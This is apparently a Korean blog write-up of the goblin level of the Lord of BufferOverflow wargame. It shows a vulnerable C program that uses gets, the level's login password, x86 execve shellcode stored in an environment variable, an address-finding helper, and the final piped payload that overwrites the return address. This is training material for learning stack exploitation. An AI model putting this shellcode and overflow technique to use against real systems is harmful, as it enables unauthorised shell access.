본문 바로가기

Write-Up/LOB(lord of bufferoverflow)

[Lord Of BufferOverFlow] 3번 cobolt -> goblin

login : goblin

password : hacking exposed

 

/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}

이전문제와 거의 동일한데 strcpy대신 gets를 쓰고있다,

 

이전문제와 동일하게 환경변수 이용해서 풀어 줄것이다.

 

export shell=`python -c 'print"\x90"*50 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" + "\x90"*50'`

 

vi addr.c

#include <stdio.h>
int main(void)
{
printf("%x\n", getenv("shell"));
return 0;
}

 

구할건 다 구했다.

strcpy와 gets의 차이는 인자로 받는것이 아닌 표준 입력을 받기때문에 `를 사용하지 않고 파이프라인을 이용하여 페이로드를 만들어줘야 된다.

jhnyang.tistory.com/66

 

[Linux, Unix]다중명령어(세미콜론(;), 파이프pipe(|), 더블 엔퍼센트 &&, ||)의미,사용법과 차이점

[리눅스 Linux] 리눅스 완전 정복 : 리눅스 목차 안녕하세요 오늘은 다중 명령어에 대해서 알아볼거예요 명렁어가 짧아도 매번 한줄에 한 명령어씩 치면서 연습했었죠? 하지만 리눅스는 한 라인(

jhnyang.tistory.com

(python -c 'print "\x90"*20 + "\x50\xfd\xff\xbf"';cat)|./goblin